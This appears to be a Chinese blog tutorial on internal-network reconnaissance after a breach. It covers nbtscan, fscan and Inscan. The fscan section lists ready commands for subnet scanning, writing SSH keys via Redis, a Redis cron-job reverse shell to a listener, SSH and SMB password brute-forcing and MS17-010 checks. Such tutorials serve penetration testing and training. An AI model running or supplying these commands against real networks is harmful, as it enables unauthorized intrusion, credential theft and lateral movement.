内网探测（主机存活、端口、Web资产）

article/2025/9/23 2:11:52

内网探测（主机存活、端口、Web资产）

当我们能访问到目标内网任何资源之后，我们就可以对目标内网进行更深层次的信息搜集，比如：主机收集、IP 段搜集、端⼝开放服务、Web资产数量、漏洞类型
0x01. nbtscan

介绍：
nbtscan是一个扫描网络信息的小工具，2005年11月23日发布。NBTSCAN身材娇小，简单快速。但只能用于局域网，可以显示IP，主机名，用户名称和MAC地址。
命令语法：（简单用法）

nbtscan-1.0.35.exe 192.168.0.1/24

在这里插入图片描述
0x02. Fscan

介绍：
Fscan 是⼀款内网综合扫描⼯具，方便⼀键自动化、全方位漏扫扫描。
⽀持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
fscan 下载地址：https://github.com/shadow1ng/fscan
命令语法：（简单用法）

fscan.exe -h 192.168.1.1/24 (默认使⽤全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存⽂件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执⾏)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端⼝)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定⽂件的⽤户名、密码
来进⾏爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,⽅便快速查看⽹段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) 123456789

实战测试
例如扫描 192.168.0.x 的 C 段的资产，扫描结果并保存到 0.txt：

fscan.exe -h 192.168.0.0/24 -o 0.txt

在这里插入图片描述

可以看到扫描结果能识别目标主机名、存活ip，目标开放端口、以及开放的web服务、MS17-010（永恒之蓝）等

0x03. Inscan

介绍：

边界打点后的⾃动化内⽹⼯具，完全与服务端脱离。服务端只⽤于⽣成poc，⽹段信息等配置多平台，单⼀的⼆进制⽂件，免依赖;
⽀持⾃动可视化多级隧道，通过后台按钮开关即可穿越多层⽹络; ⽀持ipv6的扫描器; 快速直观查看多⽹卡机器，⽅便快速定位能穿多层⽹络机器;
通过已知密码⽣成社⼯字典，快速横向内⽹; 内⽹B/S架构系统⾃动化爆破，验证码⾃动识别; 快速资产识别，站点截图;
通过扫描到的资产⾃动化进⾏⽹站⽬录扫描；